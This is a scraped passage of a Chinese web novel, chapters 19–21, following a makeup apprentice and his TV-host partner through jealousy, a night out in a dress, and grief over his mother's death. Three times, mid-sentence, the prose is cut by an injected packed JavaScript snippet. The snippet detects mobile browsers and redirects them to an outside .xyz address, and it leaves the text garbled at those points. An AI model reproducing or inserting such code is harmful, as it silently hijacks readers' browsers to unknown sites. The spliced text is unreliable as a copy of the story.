方唯安转过去,Leo换了个干练的发型,穿着很是正式,微笑着看着他,“怎么,这么快就把我忘了?” “没有,”方唯安笑笑,“店长,你喝咖啡吗?” “我约了人的,今天就算了。”Leo随意挥挥手里的皮质手套,跟他拉起家常来,“唯安,最近工作怎么样啊,你走了大家都很想你。” 方唯安动容地笑笑,“要不你点一杯咖啡吧……” Leo替他整了整被围巾弄乱的领口,指尖在他后颈上蹭,方唯安不大舒服地扭身站远,抬起头Leo还是那副心无芥蒂的微笑的样子。 “谢谢唯安,但是我约的人应该就快要来了。” 方唯安没再坚持,忽得感觉后脊有点凉,缩了缩脖子。 下一秒,就见身旁落地窗外站着个人,挺拔落拓,戴着和他同款不同色的围巾。 落地窗明净透亮,有一定厚度,隔绝了外界的噪音。 方唯安真真切切地看到奚沧盛着燥意的眼睛,他的嘴巴动了动,虽然听不到他在说什么,却能从唇形分辨出他的意思。 “过!来!” 19.第 19 章 “过来”二字出口,店里面的人还是呆若木鸡,不为所动。 窗外的人的眼神愈冷,太阳将他的轮廓勾了层金线,越来越多人发现了他的存在,相互笑着指认。 果然是电视台,喝个咖啡都能撞见明星! 终是僵持不下,奚沧收回视线,转身就走,方唯安这才如梦初醒,抓起刚打包好的咖啡,连句道别的话都没来得及对Leo讲,忙不迭追了出去。 Leo已是见怪不怪,方唯安的脑回路比较清奇,面对他的反复试探依旧无动于衷,也不知道是真傻还是装的。 至于跑出去追奚沧,他就更不奇怪了,好不容易认识个有头有脸的人物,当然要上赶点巴结着了—— 这么看,方唯安或许真的在跟他装傻。 Leo兀自琢磨了一阵,直到透过窗子看到了他等待的人。 他挥挥手,在对方进门的间隙里又整了整发型。随后亲切上前,笑着问:“从学校赶过来的吗,小佑?” . 雪天路滑,再长的腿也走不了多快。 方唯安奋起直追,在一条街外追上奚沧,先是心虚地抱怨了一下,“奚沧,你走得好快呀!” 奚沧没减速,仍是迈着长腿往前走,留下个决绝的背影给他。 就连背影都在生气。 方唯安自觉理亏,厚着脸皮追着,没话找话说:“我出来是帮大家买咖啡,没想到在店里偶遇了店长,他又别的约会的。” 奚沧没说话,走着走着左边胳膊旁突然伸出一杯咖啡,方唯安的皮肤苍白,指节被冻得发红,抓着环保纸杯晃晃,“奚沧,你快拿一下,咖啡要洒啦!” 下意识握住,他又听到方唯安带着笑意的声音,“这个是我特意给你买的,嘿嘿。” 奚沧走慢了一点,不过方唯安好像没发现,他正冥思苦想一些能让奚沧开心的话题。 “我每天都出来买咖啡,偏偏今天遇到了店长,然后正好被你看到了,”方唯安“哈哈哈”地干笑几声,“不知道的还以为你在我身上装了定位呢!” 忽得眼前一黑,他猛地撞到奚沧背上,慌慌张张地向后趔趄,随后被转过身来的奚沧抓住袖子,才慢慢找回平衡。 “你小心点,”奚沧的声音略显严肃,“说起话来就不看路。” 方唯安低着头,两只手都被咖啡外卖袋占着,耳朵长时间曝露在冷空气里,整个耳廓都是红的。 “对不起嘛,”他的嘴巴里溢出白色哈气,缓缓往上飘,“我就想开个玩笑。” 屏息片刻,奚沧抬手,把方唯安羽绒服上的帽子给他戴好,又教育他, “不知道说什么的时候就别说话了。还有,以后少看那些没有营养的电视剧。” “好吧。”方唯安吸了吸鼻子,怀疑人家安装定位软件这种事确实是有点离谱了。 奚沧从他手里拿走了外卖袋,他赶快把冻得通红的手揣进口袋。 两个人又走了一阵,方唯安突然“咦”了一声,“这不是会台里的路吧?” 奚沧哼笑,“你现在才发现啊?” 被人拐跑了都不知道。 “我们要去哪儿呢?”方唯安拽拽奚沧的袖子,“你还有别的事吗?” 电视台后面是座市民公园,因为风景还不错,台里很多节目都会到公园取景。 他们来的正是从电视台侧门通往公园的小路,两个地方之间被一片空地衔接,四周安静,遥远的城市摩天大楼变成缥缈的点缀,在这里,能看到一大片天空。 气象预报里的很多场景也是在这里录的。 奚沧用袖子扫去木质座位上的雪,安顿方唯安一起坐下。 “这里没什么人来,以后你累了,可以过来坐坐。”奚沧喝了一口咖啡。 虽然很冷,方唯安也渐渐放松,雪在地上积了厚厚一层,阳光下像奢侈又细腻的奶油蛋糕。 奚沧晃晃袋子,“你的咖啡呢?” “我没买,”方唯安露怯,“我还不算正式员工,”又紧接着补充,“你的那杯是我用自己的钱买的。” 奚沧叹了一声,把自己的咖啡递给方唯安,“喝一点吧,会暖和一点。” 方唯安乖乖喝了一口。 “桂桂老师给你的卡是台里发给她的卡,她的一切工作方面的开销都可以通过那张卡报销,你的开销也会算在里面。所以以后不用不好意思,都被叫出来跑腿了,满可以给自己也买杯咖啡。” 方唯安捏着咖啡杯,说:“好的。” 奚沧又把杯子从他手里拿走,放到嘴边喝了一口。 一切都是那么自然。 “奚沧,”方唯安眼眶发热,心头闷闷的,就快要窒息了,“我想问你一个问题。” 奚沧转过来,洁白的雪地衬得他的皮肤很白,眼睛更加透明,“你问啊。” 方唯安深呼吸几下,鼓足全身的力气和勇气,这个问题困扰他许久,再得不到答案,他就要大脑爆炸,再也活不成,再也面对不了奚沧了。 “你真的必须要结婚吗?” 终于问出口了,方唯安又闭上眼睛,陷入纠结。 好像问出问题是一件事,听到答案又是另一件事;前者已经耗尽了他的力气,再也没有精力来应对后者了。 沉默许久,耳边只剩微弱的风声。风了卷起细密的雪花,扑在方唯安的脸上,雪在他脸上融化,一层一层,一切都在震荡,震荡…… 忽得,只听奚沧轻笑,“怎么突然问起这个?” 他别过眼睛,盯着木椅的一角。 不是都拒绝我的求婚了吗,仔细想想又后悔了吗? “我其实没有什么必须要做的事,”奚沧没看方唯安,慢慢说着,“我父母你也看到了,他们的关注点都在我弟弟身上。现在奚佑读了大学,也进了台里工作,之后他们大概会张罗他的其他事情,我能帮的也都帮到了。” 他轻轻地笑,“没有父母家人的期望,经济也还算自由,以前觉得这样很孤独,但是现在不会了。” “所以,你不着急结婚啊?”方唯安一知半解。 奚沧看过来,考究他,琢磨他,最后捏了一下他的脸,“要结婚的话,也很麻烦。登记手续会很繁琐,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774781|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要跟台里报备,请公关公司,跟合作方沟通……再着急也要处理很长时间吧?” 方唯安听着,终于松了一口气,奚沧不着急就好。 他想了想,慷慨地对奚沧说,“那有需要帮忙的,你可以找我。” 反正还要好久好久,好久好久,等那个时候再考虑离开也来得及。 “你还怪热心的,谢谢啊。”奚沧嗤笑,欲言又止,最后还是使劲捏了一下他的脸,在方唯安的叫苦声里笑着松开手。 . 确认了奚沧还要好久才会结婚且结婚手续异常复杂之后,方唯安暂时放下心来。 他总是这样,不大会纠结未来,深谙得过且过的道理。 心情好了,工作状态也是极佳。桂桂老师观察了一圈,在一众凄风苦雨的打工人里选到了神清气爽的方唯安,给他派了个大活儿—— 去《动物世界》栏目组给主持人化一个特效妆。 特效妆难度颇大,化起来很考验耐心,方唯安和主持人一起忙了一个下午,终于让一只高达一米七五的“长颈鹿”顺利出现在摄影棚的绿幕前。 方唯安也被邀请参观录制,看到自己的妆顺利混入不算精细的特效里,他感觉心脏烫烫的,跳的很快,偷偷拍了张照片,打算晚上回家在奚沧面前显摆一番。 拍完照,他拎起化妆箱,心满意足地打道回府,走出棚外,就看到恭候他许久的奚佑。 没来得及张嘴,眼前就出现一团黑影,有个绵呼呼的东西砸到他脸上。 “你的围巾!”奚佑抱着手臂,一脸不屑,“丢三落四的。我要是不拿过来给你,你是不是都没发现自己丢东西了?” 围巾掉在地上,方唯安阴着脸,一只手捡起来捏紧,“你怎么会拿到我的围巾?” “我看到了呗,我哥都不想理你了,你还上赶地追着他……”奚佑收起讪笑,“不过我提醒你一句,那间咖啡店里可能就坐着我哥的同事或者记者,你最好跟我哥保持一点距离,今天的事如果被有心人看到了,还不知道会把我哥编排成什么样呢” 虽然很不想承认,但奚佑说的确实是事实。奚沧最近风头正盛,需要好好避嫌,明哲保身,他不能再想今天这么冒失。 “我知道了。”方唯安扁扁嘴,绕过奚佑往前走。 “诶,我话还没说完呢,”奚佑拉住方唯安手里的围巾,动作太突然了,扯得方唯安跟着晃了晃,“我有事要让你做。” “我不做。”方唯安果断拒绝。 “我还没说是什么呢……”奚佑没打算放过他,拽着围巾,将方唯安拉进走廊的暗影里。 每次跟奚佑单独相处都让方唯安感到痛苦,不过这次奚佑收起了些明晃晃的敌意,语气甚至带着点讨好,问方唯安对桂桂老师进货的细节有没有了解。 方唯安说没有,执意离开。 拉扯间,方唯安的手机响了,奚佑终于松手,让方唯安接。 掏出手机的刹那,奚佑看向他的屏幕,来电人是“奚哥”。 是刚刚退出了家庭群的,连杯咖啡也不愿跟他喝的,他的亲哥哥。 20.第 20 章 好长一段时间里,奚佑和哥哥也曾无话不谈。 那时候,奚沧懂事听话,奚佑活泼可爱,父母恩爱和睦,他们一家就是幸福的缩影。后来奚佑查出来心脏病,父母的注意力开始往他身上倾斜。 尽管如此,奚沧也从来没有过任何埋怨,甚至对待他比以往任何时候都好……直到方唯安出现。 哥哥好像失控了,不爱他们了,哥哥开始动手打他、厉声骂他、用很失望的眼神看他了。 方唯安到底算什么,个卖屁股的而已,那点小伎俩怎么就能这么轻易地迷惑哥哥? 奚佑真的想不明白,方唯安分明是哥哥人生里最大的败笔,是污点,是只要黏上就甩也甩不掉的鼻涕虫。 可是,现在的哥哥还是更需要方唯安,远远超过于他。 奚佑颓然松开了手,“你先接电话吧……” 终于重获自由,方唯安把自己的东西都拢到一起,退开几步,才接通电话。 那一边的奚沧似乎情绪不佳,埋怨方唯安电话接得很慢一样,问他一句“你好慢啊。” 方唯安看了奚佑一眼,很仁慈地没有出卖他,因为奚佑的眼里真的闪过一丝恐惧。 这件事很奇怪,他们的父母习惯性忽略奚沧,奚佑这个傻不拉叽的小皇帝却把他哥宝贝得紧,他们家到底把奚沧当什么? 方唯安垂下眼睛,声音很低,好像在哄人,“我在工作啊,刚结束外勤,现在在三楼。” 奚沧总算放心,安顿他,“台里临时有会,推脱不开,也不知道要开到几点,你先回家吧。” “好吧,”方唯安略显扼腕,“可是裙……” 有条裙子方唯安心仪已久,可国内的货源紧俏,他在waiting list里等了快两个月才终于得到消息——今天就是他计划和奚沧一起把心爱的裙裙接回家的那天! “裙子我叫Sales送到家里,”奚沧总能看穿他的心思,“所以你只要安安心心回家,等着快递上门。” 方唯安瞬间放晴,手指攥紧了手机,由衷道:“奚沧,谢谢你啊。” 奚沧呵笑,“你少惹我生气就行。” “我什么时候惹你生气了……” 方唯安抓着电话,低头看着自己踏来踏去的脚尖,俨然一副热恋中的样子,看的奚佑怪不自在的,大声咳了一下。 奚沧那边立刻警觉,“在忙吗,你先忙工作吧。” 方唯安也收起笑容,挂了电话,重新看向奚佑,“你还有事?” “我就是想告诉你,别总是缠着我哥。我哥恋爱脑发作我没办法,但你在想什么我心里清楚!”奚佑凶巴巴地看着方唯安。 方唯安梗着脖子,佯装镇定地说,“那你说说,我在想什么?” 反正奚沧说过的,不要听他弟的,如果奚佑说的话让他难受,他可以叫奚佑滚蛋。 奚佑说:“你在想,反正我哥现在决定跟你在一起,你就装糊涂,得过且过地跟他待在一起。你一边想,等我哥找到合适的结婚对象就离开;一边偷偷祈祷,希望他永远也不会找到!” 奚佑盯着方唯安,似要戳破他的伪装一样,“你觉得你是在配合我哥,其实你是在拉着我哥跟你一起堕落。要是你离开了我哥,充其量就是个化妆品柜台的柜哥,每天都得对着客人点头哈腰;可是如果我哥离开了你,那他还有大把的恋爱对象可以挑选,个个都比你优秀。” 方唯安的脸色苍白,奚佑有点不确定他的脸是不是本来就这么白。 “换句话说,方唯安,你是我哥的弱点,他得把你藏起来,才能勉强过好这一生。” 眼见着方唯安的脸上血色尽失,奚佑终于获得些快感。那些失去哥哥关注的失落渐渐被安抚,征服和碾压的快.感遍布他全身。 若不是想着他们还在公众场合,奚佑马上就要放声大笑了。太爽了,憋屈了这么久,终于出了一口恶气! 方唯安钝钝站着,不会动了一样,奚佑发现他的睫毛很长,嘴唇异常得红,像是个洋娃娃。 摆在橱窗里,没人要的破娃娃。 不一会儿,“洋娃娃”突然动了,一双状似无辜的眼睛直勾勾盯着他,轻声道:“如果我是弱点,那你是什么?” 起初没反应过来,过了几秒钟,奚佑才打起精神,强装镇定,“什么我是什么?我是他的亲弟弟,我能害他吗,他能抛弃我吗?” “你是奚沧的亲弟弟,但你也是他的弱点,他摆脱不了的弱点。”方唯安说。 奚佑眨眨眼,突然不寒而栗,方唯安怎么像变了个人一样…… “你什么意思?”奚佑揪起方唯安的领子,然后闻到对方身上的香味。 一股好闻又令人作呕的,香味。 哥哥竟然喜欢这种气味啊,奚佑真是想不通。 分神之际,方唯安拽开他的手,从地上拿起自己的化妆箱和围巾。 “奚佑,你才是离不开他,我知道的,”方唯安看着他,“奚沧因为你受伤了。” 回过神来,方唯安已经走远。奚佑愣在原地,只觉得莫名其妙。 方唯安他懂个屁,他才认识哥哥几年啊,说什么受伤? 他们一家人一直都拿他当老大,当骄傲来着,他怎么可能会受伤?! . 方唯安比平时晚了半小时下班,生怕错过了裙子,抱着包拼命往家赶。 所幸,他还是如愿签收了心心念念的裙子。 是套装,白色混色的长袖配短裙,针线较粗,可方唯安穿着却一点也不显臃肿。 他新奇地站在镜子来来回回地看,太喜欢了,好几次换下来,没一会儿又忍不住穿回去、 就这么穿穿脱脱到了晚上十点多,奚沧回来了,听到动静的方唯安赶快冲出来,跑到他面前大方展示。 方唯安像只骄傲的小孔雀,尾扇一抖,藏起了迷茫,彷徨,哀伤与恐惧,他现在神气且自在,如鱼得水。 “快说我漂亮!” 奚沧目不转睛,“漂亮!” “就是嘛,”方唯安点点头,略显遗憾,“奚沧,你真应该在我第一次换上这身衣服的时候就看到,我都快过了新鲜劲儿了。” 奚沧听着新鲜,“你对裙子还有新鲜劲儿呢?看你那么想要,我还以为你会永远喜欢它。” 方唯安心虚笑笑,“现在也喜欢的…” 他煞有其事地感叹:“全云港只有一套的衣服,只有你能看到。” 显摆完毕,收获了唯一的观众的赞赏,方唯安已是心满意足,开开心心打算换下去。 “安安,”奚沧拦住他,握上他的手腕,“你想穿着它出去走走吗?” “现在?”方唯安看了眼墙上的时钟,已经十点半了,“现在出去干嘛呢?” “买了新裙子,不该炫耀一下吗?”手指移下去,他们十指相扣,奚沧的语气不由分说,“这么漂亮的新裙子,也该给别人看看吧。” . 等他们到了旧城区,已经十一点多了。 令人意外的是,这里非但没有一片冷清,反而分外热闹。 奚沧开着车,小心地穿梭于老旧的巷弄;他们不断经过路人,有漫步归家的临近居民,有刚下班的苦逼社畜,也有刚刚结束夜跑的自律男男女女。 这是方唯安成年后第一次穿女装出门,新奇又紧张。他坐在车里,藏在暗色的车窗里面,仍然很没有安全感,总觉得四面八方的眼神要把他看穿了。 奚沧看穿却不说穿,慢慢开着车。 夜晚的街道好像一条安静流淌的河,他们俩坐在船里,慢慢的,慢慢的,随波逐流。 终于,开出两条街,他们来到云港最引以为傲的城楼古迹区域,悬于城墙的灯笼散发出令人安心的橙黄色的光,也给方唯安的小裙子上渡上层接近夕阳的色彩。 奚沧把车停下路边,迎上方唯安不明就里的视线,他伸手指了指路边,“那里有个老奶奶,这么久都没收摊,你想去帮帮她吗?” “啊?”方唯安发愣,“怎么帮?” 奚沧从车头的置物舱里取出一叠零钱,“你去跟她买点东西,让她早点下班。” “我……”方唯安有点犹豫。 “试试吧。”奚沧将钱塞到她手里,“她看不出来的。” 凑近了看,老奶奶在卖热豆浆,不过来往的行人匆匆,并没有在她的摊位前驻足。 背对着小摊,方唯安整理一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好看吗?”方唯安看向奚沧。 他的长相本就玲珑秀气,比较偏女气,戴上披肩假发,美得浑然天成,雌雄难辨。 奚沧的眼睛都直了,愣愣点头,“还行。” “你男朋友的意思是好看,”阿姨笑眯眯地解释,“男孩子都是这样的嘛,口是心非。” 阿姨不认识奚沧,也不认识方唯安,只当他们是对普普通通的小情侣。 方唯安和奚沧也就默契地印证着她的猜想。 奚沧掏出手机,“买下来。” “好嘞,还有一顶是黑色长发,要试试吗,跟小姑娘的裙子也蛮搭的。”阿姨积极推销。 方唯安欣然同意,阿姨麻利地整理好假发,套在他头上。 “来,自己看看,别看这个样式普通,我开店这些年卖得最好的还得是这些普通款,出门戴着没压力!”阿姨将他推到镜子前。 方唯安看向镜子,怔了一下,随后眸光闪烁,一下子就红了眼眶。 镜子里的人,好熟悉…… “我们安安就是翻版的方小姐……”小时候,家里的佣人姐姐常常这么说,一边捧着他的脸,用细嫩的指尖在他的脸上轻扫,“眉毛像,眼睛也像,嘴巴也像,下巴也像。笑起来像,哭得时候就更像了!” 这么说完,整个房间里的人都会笑起来,妈妈坐在房间正中心,笑得花枝乱颤。 “安安是我生的嘛,当然像我啦!”妈妈走来,一把将他抱起,“我们安安,是世界上最漂亮的小孩子了,是不是?” 方唯安的视线放空,凝望着镜子里的脸,无意识地眼泪成串流下。 是深秋的深夜,院子里静悄悄的,不再有蝉鸣声。 那晚起了风,鼓动着整个露台的纱帘起起落落,仿佛一片一片白色海浪。 妈妈赤着脚坐在窗台边上,眼神很哀伤, “安安,以后要好好的,快快乐乐地生活。” 方唯安揉了揉眼睛,他有点困了,“妈妈我想回房睡觉……” 这时爸爸走来,错过他,责备着窗台边上的人。 具体说了什么他已经记不清了,只记得落在草坪上的瘦瘦小小的女人的身体,皮肤很白,夜风吹动了她的裙摆。 死亡是飘摇流动的。 再也受不了,方唯安抱头蹲了下来,整张脸埋在膝盖上,大声地哭泣。 他太无力,所有他在乎的人。 他谁都保护不了。 谁都保护不了。 21.第 21 章 方唯安突然开始大哭,吓了奚沧和店主阿姨一跳。 阿姨就站在方唯安身旁,比奚沧还要近一点,放低身子拍拍方唯安的肩膀,“小姑娘,不好看就不买了嘛,阿姨把戴起来好看的那顶便宜出给你行不?” 方唯安哭得不能自已,眼泪簌簌掉落,刚开始还能抑制住呜咽,哭的时间久了,可能是没有力气了,哭声越来越大,越来越哀婉。 阿姨看向奚沧,无措道:“怎么回事嘛……” 奚沧早就蹲在方唯安身边,伸手揽着他的肩膀,纸片一样薄的男孩子,在他怀里哭得颤抖。 方唯安其实很少哭,至少是当着奚沧的面。 究其原因,奚沧猜测可能是有一次两个人一起在家看《小鹿斑比》,临近结尾时有场追逐戏,奚沧看得有些入神,随手抓起身边的毛毯给方唯安盖上,以为对方冷得流鼻涕。 偶然一瞅,他发现方唯安竟然在哭。 方唯安哭起来声音微弱,抽抽搭搭的。 眼眶和鼻头透着十分动情的红,方唯安看得很认真,音乐声音逐渐变得激烈,他的抽泣声也跟着加快一些,但始终没有很大声。 如果不是特意去看的话,或许不会发现。 奚沧最后悔的,就是揪着方唯安看动画片落泪这件事调侃了他几句。那之后,方唯安就很少在他面前哭了。 哪怕看到很悲情的电影,奚沧都忍不住眼眶湿润的时候,方唯安会突然起身,说要喝水或去上厕所,然后躲进厨房或者洗手间偷偷落泪。 奚沧很受不了方唯安这样,心疼得要命。 所以今天方唯安突然间情绪崩溃,泪水决堤,在他看来就更是反常。 奚沧放任方唯安哭了一阵,待哭声弱了一些,才揽住他的肩膀,轻声问:“我们先回车上行吗……你要给阿姨吓坏了。” 方唯安又哭了几声,才反应过来奚沧的话,抬起头愣愣地看了眼奚沧,又去看阿姨。 阿姨手足无措地站着,手里还抓着他喜欢的那顶假发。 方唯安又看回奚沧,眼里也很迷茫,根本没料到自己的情绪崩溃会让周围的人这么尴尬,随即也跟着尴尬起来。 奚沧捧着方唯安的脸,拇指揩掉他脸上的泪。方唯安的下巴上黏黏糊糊的,可能是泪水跟什么的混合,奚沧也一并擦擦干净,方唯安重新白净精致了起来。 “你还走得动吗?”奚沧问他。 刚才哭得肝肠寸断的,半条命都要没了。 方唯安的下巴收蹙,脸也皱巴巴的,明显就是在忍泪,撇着嘴说:“可以。” 奚沧马上起身,给阿姨结了钱,一手拎着假发包装袋,一手搂着方唯安的肩膀。 他推开门,外面起了风,地面零零星星落了一层薄雪。 怀里的人捂着脸,小声地“呜”了一声。 他脸上的泪还没干透,风吹上去,沙沙得疼。 上了车,奚沧没有立刻发动车子,而是开了暖风,安安静静地坐在驾驶座看雪。 方唯安已经有点不好意思了,自己刚才说哭就哭,情绪说崩溃就崩溃,跟个神经病似的。 可是,一想到妈妈,全世界最爱他、他最爱的妈妈,他还是忍不住鼻头泛酸。 本来一切都好好的,他已经刻意地训练自己回避那段记忆,已经催眠自己假装忘记了。 然而,然而…… 想到这里,方唯安又很大声地抽了抽鼻子,拽了张纸巾蹭蹭脸。 “哭不出来了就别硬挤了,方唯安。”奚沧将手随意搭在车窗和方向盘,无奈道。 方唯安愣了愣,鼻音很重地说:“谁硬挤了?” 奚沧伸手抹了一把他的脸,“干的。” “我在心里哭来着。”方唯安懦懦反驳。 沉默片刻,奚沧叹了一声,侧过身看他,“方唯安,你刚才为什么哭得那么伤心,可以跟我说说吗?” 方唯安的脑子乱糟糟的。 哭过之后,那段记忆重新变成大脑里的乱码,仔细回忆的话只有细碎如雪花的几个片段,根本凑不出一段完整的回忆。 他低下头,垂头丧气地思考,这到底是好事还是坏事。 “我想到了我妈妈,”方唯安只好把最浓烈的那部分情感告诉奚沧,“我跟我妈妈长得很像。” 奚沧在沈清献那里学了一年半画画,有段时间几乎每天都会出入他们的家,可印象里,奚沧只见过一次师母。 还是很偶然的一瞥,那天他们正在画室画画,突然听到楼下有嬉笑声。少年最是耐不住寂寞,纷纷探着身子,视线跃出窗外。 奚沧找了好久都没找到方唯安,只看到一个赤着脚的很漂亮的大姐姐在花园里追蝴蝶。 咚咚——老师突然敲敲石膏像,警告他们专注。 休息的时候,奚沧才听旁边的同学讲起,刚才楼下的那个就是老师的妻子,当年安州出了名的大美人。 奚沧看看方唯安,嗯,师母一定是个大美人。 “还有呢?”奚沧问。 方唯安摇摇头,有些遗憾地说:“我想不起来了。”,“真的。” 奚沧用手指碰碰他的脸,“想不起来就算了。” 尽管我真的很想知道,你为什么不开心。 “其实还有……”方唯安咬咬嘴唇,又哼唧了两声。 但很遗憾,他还是没能憋出眼泪,“今天奚佑看到我们了,在咖啡店附近。” 闻言,奚沧眉头紧蹙,正色道:“他干嘛了?” 方唯安抓着纸巾,蹭蹭自己干燥的脸,“他说,我是你的弱点,真是气死我了!” 原来方唯安生起气来眼眶也会发红,像哭似的,但身体剧烈起伏,像要爆炸,“我说他才是你的弱点呢,他让你很不开心!” “嗯?”奚沧轻微地侧了下头,再次确认,“你跟他这么说了?” 方唯安重重点了下头,很扼腕的样子,“不过我没发挥好,又输他一次。” 这阵想起来,方唯安还是觉得很难受,又有点想哭了。 他也保护不了奚沧,就连最简单的动动嘴皮子都不会,他根本没办法维护任何人。 方唯安小嘴一撇,还真掉下两滴泪来。 奚沧愣了两秒,慌慌张张地捧起他的脸,仔细观察,“你哭什么啊?” 那就是眼泪!货真价实的眼泪!! 方唯安摇摇头,他不知道这种无力感要怎么形容,只是他觉得自己太弱小、太弱小了。 喜欢的裙子要别人买,喜欢的人也无法保护,他真的太无能了。 除了美貌,他什么都没有…… 所幸,奚沧好像不是很在意他的失败,没有警告他下次一定要赢下奚佑,也没再追问他为什么哭。 奚沧启动车子,往家里开,路过麦当当,还大发慈悲地给他买了个麦旋风。 接近凌晨的时候吃了个麦旋风,方唯安心里泛起罪恶的甜蜜,他低下头,看看自己身上的裙子。 混色的毛线一根搭着一根,一线咬着一线,严谨又严丝合缝。方唯安真想加速变得强大,或者变成一只很凶的大狗。 下次奚佑再说什么莫名其妙的话,他就冲上去,咬死他! 方唯安迟钝地发觉,刨去已经变得稀薄的回忆,这晚他其实挺开心的。他穿着喜欢的小裙子走在大街上,没有人再笑话和打击他,告诉他男孩不能穿裙子。 还管他叫“小姑娘”和“美女”。 谢谢奚沧! . 晚上睡得晚了,第二天起床就变得十分困难。 方唯安在奚沧催促三遍之后才起来,他必须得起,因为通常到第四遍就不是简单得叫他起床了。 而是听他叫..床。 方唯安的脸有点肿,懵懵坐在餐桌边上,抓起三明治往嘴里塞。 “方唯安,别怪我没提醒你,你今天最好提前一点上班。”奚沧正给吐司抹草莓酱,银质餐刀蹭在吐司表面,留下半扇均匀的红。 方唯安略微清醒,“为什么?” “昨天台里紧急开会,说明年选秀节目的政策可能会变,大方向还是收紧,所以审查制度只会更严格,”奚沧把抹好果酱的吐司放到方唯安的餐盘里,“所以台里的意思是,在年前加快录完出道夜,省得明年政策变了,打我们个措手不及。” 方唯安反映了两秒,这才理清这件事和自己的关系,傻愣愣地看向奚沧,“所以,我们之后都会很忙啦?” 奚沧抓着烤得焦脆的吐司,凝重颔首。 方唯安瘫到椅背上,“都忙,忙点好啊……” . 等到了台里,他才知道什么叫真正的“忙”。 想在年前赶完剩下三场的录制,对无论选手还是工作人员来说都是一场极大的考验。 一整个早上,桂桂老师召集团队开了三次会,一次会议确定一套妆容,桂桂教一遍,助手和学徒们跟着学一遍,学不会就挨骂,做错任何一步都是一顿骂。 方唯安的脑子里塞满了各式化妆品,各种型号的化妆刷,还有各种型号的卷发棒。除此之外,还要背下每个选手的肤质,记得他们的服装,在脑子里快速组装适合他们的妆容。 几个摄影棚临时腾出空挡给他们见缝插针地拍摄,选手们叫苦不迭,工作人员更是有苦没地方说。 一天下来,方唯安已经不记得自己到底都做过什么了,只记得自己抓着散粉刷到处跑,给很多选手定型妆容,然后定型头发,然后是熨衣服,擦鞋子…… 忙了一天一夜,然后发现他们才刚完成最后一场淘汰赛的正式录制。 接下来还有两场总决选,以及那期间大大小小的花絮与练习片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788870|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段。 方唯安两眼一黑。 坐上奚沧的车的时候已经算是清晨了,好在六点多,天空仍是黑的。 方唯安一脸生无可恋地坐着,太累了,他甚至都没有困意。 “累了?”奚沧觑他一眼,“要不要明天请假?” 方唯安眼前一亮,“可以吗?” “可以。”奚沧看着前方,笃定地点点头。 “还是算了吧,”没高兴多久,方唯安就放弃了,“我要是不去,其他人就更忙了,桂桂老师要哭了。” 奚沧勾着嘴角,“这么喜欢这个工作啊?” “喜欢。”方唯安垂着脑袋,食指尖已经开始肿了,是这一天不停工作的后遗症。 可他还是很开心,他在做喜欢的事,接触那么多漂亮的人和物件,他感觉很充实。 . 节目录制的时间紧凑,末场淘汰赛在录制结束的三天后就正式上线,到第四天就是首场出道战。 出道战的场馆移回市内,一路上都是各家粉丝的应援海报与旗帜。 接近场馆的时候,他们的小巴车更是堵了小半个小时。 第一次见到这么大的阵仗,方唯安不由紧张起来。 桂桂老师隔他一个位置坐着,只觉得他这个样子青涩可爱,故意逗他。 “唯安今天想给谁化妆啊?” 方唯安笑笑,他根本没想过能负责任何选手的妆容。 比赛进行到这个阶段,必须要经验老道的化妆师上手,才能最大限度地突出各选手的优势,为他们争取更多的曝光和讨论。 “那你去给奚沧化吧?”桂桂老师笑容暧昧,“你现在化得最好的就是奚沧了,你拿得准他的脸!” 方唯安有点动心,笑呵呵地点头,“好吧。” 坐在他身边的师姐笑得不行,“桂桂老师逗你呢。” “啊?” “奚沧的妆一般都是桂桂老师亲自化的,他是咱们台的脸面嘛……”师姐说。 “啊,”方唯安讷讷点头,“这样啊。” “别灰心啦,你留下踏踏实实地学,总有一天可以给奚沧化妆的!”桂桂老师拍拍他的肩膀安慰他。 仔细想想,方唯安也没有多灰心,他只是个学徒,去给主持人化妆确实太草率。 他们的车终于停稳,但统筹迟迟没有通知他们下车。 透过车窗往外看,场馆的几个入口外全部都被选手的粉丝占领了,成群结队地喊着口号。 这其中还混杂着一支某高人气淘汰选手的粉丝团,这群人抱着海报和横幅大声抗议,高呼节目有黑幕,让哥哥白白陪跑。 他们一直被堵在车上,也跟这群人有关,入口聚集的人越多,闹事的人就越猖狂。 不久,对讲里传出总编导的声音,所有工作人员撤回车里,再找别的方法进馆。 方唯安看到人群中辟出一条小道,眼熟的选手还有几个主持人都一点点往停靠在前方的车上移动。 奚沧的个头很高,人群中尤为显眼,方唯安的视线穿透层层叠叠的肩膀和脑袋,黏在他身上。 等奚沧快要接近路边时,方唯安突然听到簇拥在他们的车周边的粉丝群里有人在尖叫,随后尖叫声蔓延,往奚沧的那个方向流淌而去。 车里的其他人也听到了这阵异响,可探着头观察,只能看到穿着各色应援服的人群。  方唯安感到恐惧。上一次这么恐惧,到头来也只是虚惊一场,以及自己无妄的脑震荡。 那这次呢? 来不及多想,方唯安跑到车头,让司机打开车门。 “干嘛啊?”司机有点不耐烦,本来堵在路上就难受。 